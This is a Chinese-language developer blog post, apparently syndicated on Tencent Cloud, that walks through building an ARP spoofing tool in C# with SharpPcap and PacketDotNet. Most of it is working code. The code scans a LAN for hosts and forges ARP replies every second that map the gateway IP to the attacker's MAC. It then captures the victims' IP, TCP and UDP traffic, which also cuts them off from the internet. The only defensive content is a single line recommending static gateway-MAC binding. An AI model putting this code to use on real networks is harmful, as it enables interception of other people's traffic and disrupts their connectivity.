前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >C# 通过ARP技术来观察目标主机数据包

C# 通过ARP技术来观察目标主机数据包

作者头像
郑子铭
发布2024-04-29 16:02:25
1070
发布2024-04-29 16:02:25
举报

前言

由于之前写的C# 实现Arp欺诈的文章属于网络攻击,不能够被展示《.NET 6 制作让同事不能上网的arp欺骗工具》,所以这边我们稍微说一下C#调用ARP包以及查看其他电脑上网数据包的技术,委婉的说一下ARP在局域网之中的应用。

本文章纯属技术讨论,并且涵盖了如何去防止ARP攻击的手段。

ARP作用

学到一点网络的都知道,ARP本身用于IP地址和MAC地址的转换,主要是在七层网络协议中,网络层之下就是使用MAC地址进行通信了,这样的设计本身也是底层可以无关上层通讯协议的变化而变化,而提供一个统一的接口。

比如局域网中的A主机和B主机,如果A主机的ARP缓存中有B主机的MAC地址,则直接发送数据到对应MAC地址,没有则通过发送ARP广播数据包的方式,根据回应来更新ARP缓存。

ARP欺骗原理

创建一个arp包,将网关ip地址和错误的网关mac地址发送给目标主机,让主机更新错误的mac-ip地址映射到缓存中。

工具

开源的.net arp库: SharpPcap,PacketDotNet

项目中导入:

代码语言:javascript
复制
<PackageReference Include="PacketDotNet" Version="1.4.7" />
<PackageReference Include="SharpPcap" Version="6.2.5" />

实战

获取本机所有的网络设备

代码语言:javascript
复制
LibPcapLiveDeviceList.Instance
获取对应设备的ip和mac地址,以及网关ip
代码语言:javascript
复制
foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6)
    {
        //ipv4地址
        if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork)
        {
            LocalIp = address.Addr.ipAddress;
            break;
        }
    }
}

foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE)
    {
        LocalMac = address.Addr.hardwareAddress; // 本机MAC
    }
}

var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP
//ipv4的gateway
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);
获取网关mac地址

通过发送arp包到网关,获取响应包,从响应包中获取mac地址。

1、创建arp包

代码语言:javascript
复制
var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP);
ethernetPacket.PayloadPacket = arpPacket;

2、发送arp包到网关,并且等待下一个回复包。

代码语言:javascript
复制
LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);
LibPcapLiveDevice.Filter = arpFilter;
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
ArpPacket arpPacket = null;
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(request);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)//是否是一个arp包
        {
            continue;
        }

        if (arpPacket.SenderProtocolAddress.Equals(destIP))
        {
            break;
        }
    }
}

// free the device
LibPcapLiveDevice.Close();
return arpPacket?.SenderHardwareAddress;
扫描局域网内活动ip和mac地址

1、设置扫描的ip区间,生成每个ip的arp请求包

代码语言:javascript
复制
var arpPackets = new Packet[targetIPList.Count];
for (int i = 0; i < arpPackets.Length; ++i)
{
    arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp);
}

2、发送arp包到各个ip,如果回复了则在线,超时则认为不活动

代码语言:javascript
复制
if (_cancellationTokenSource.IsCancellationRequested)
{
    break;
}
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (_cancellationTokenSource.IsCancellationRequested)
    {
        break;
    }

    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(arpPackets[i]);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        var arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)
        {
            continue;
        }

        //回复的arp包并且是我们请求的ip地址
        if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i]))
        {
            Application.Current.Dispatcher.Invoke(() =>
            {
                ///增加到IPlist中
                Computers.Add(new Computer()
                {
                    IPAddress = arpPacket.SenderProtocolAddress.ToString(),
                    MacAddress = arpPacket.SenderHardwareAddress?.ToString(),
                });
            });

            break;
        }
    }
}
指定ip/ips攻击

攻击包就不能创建请求包, 应该伪造一个来自网关的响应包,从而将网关错误的mac地址更新到目标主机的缓存中。

1、创建错误的响应包

代码语言:javascript
复制
private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac)
{
    var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp);
    var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP);
    ethernetPacket.PayloadPacket = arpPacket;
    return ethernetPacket;
}

调用创建arp响应包,但是可以看到最后一个mac地址,应该是网关的mac地址,我们替换成了自己本地mac地址。

代码语言:javascript
复制
BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);

2、直接以1000ms的间隔轮询发送响应包到目标主机

代码语言:javascript
复制
var aTask = Task.Run(async () =>
{
    while (true)
    {
        if (_cancellationTokenSource1.IsCancellationRequested)
        {
            break;
        }
        try
        {
            LibPcapLiveDevice.SendPacket(packet);
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message);
        }

        await Task.Delay(1000);
    }
    LibPcapLiveDevice.Close();
}, _cancellationTokenSource1.Token);

获取网络数据包

此时的被攻击的电脑,由于它的网关对应的MAC地址被我们替换成了自己电脑的MAC,所以原本通过网关发送的数据包,都会发送到我们电脑上来,我们不做任何处理就会导致电脑无法上网,我们可以通过监听网卡查看来自该电脑的数据包,从而窥探一些请求。

代码语言:javascript
复制
/// <summary>
/// 监听到攻击的网卡收到的数据包
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void OnPacketArrival(object sender, PacketCapture e)
{
    try
    {
        var device = sender as LibPcapLiveDevice;
        var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());
        if (packet != null)
        {
            if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据
            {
                var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString());

                if (targetComputer != null)
                {
                    var ipPacket = ethernetPacket.Extract<IPPacket>();
                    if (ipPacket != null)
                    {
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString();
                        packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString();

                        var udpPacket = ipPacket.Extract<UdpPacket>();
                        var tcpPacket = ipPacket.Extract<TcpPacket>();
                        packetViewModel.Type = "IP";

                        if (udpPacket != null)
                        {
                            packetViewModel.SourcePort = udpPacket.SourcePort;
                            packetViewModel.TargetPort = udpPacket.DestinationPort;
                            packetViewModel.Type = "UDP";
                        }

                        if (tcpPacket != null)
                        {
                            packetViewModel.SourcePort = tcpPacket.SourcePort;
                            packetViewModel.TargetPort = tcpPacket.DestinationPort;
                            packetViewModel.Type = "TCP";
                        }

                        targetComputer.AddPacket(packetViewModel);
                    }
                    else
                    {
                        ///mac地址没啥好记录的都知道了
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.Type = "以太网";
                        targetComputer.AddPacket(packetViewModel);
                    }
                }
            }
        }
    }
    catch (Exception) 
    {
    }
}

我们解析了IP数据包,TCP以及UDP包。

工具页面

如何预防?

一般只需要本地将网关和MAC地址静态绑定即可。

完整代码和工具

https://github.com/BruceQiu1996/ArpSpoofing

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-04-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 DotNet NB 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 实战
  • 获取本机所有的网络设备
    • 获取对应设备的ip和mac地址,以及网关ip
      • 获取网关mac地址
        • 扫描局域网内活动ip和mac地址
          • 指定ip/ips攻击
          • 获取网络数据包
          • 如何预防?
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档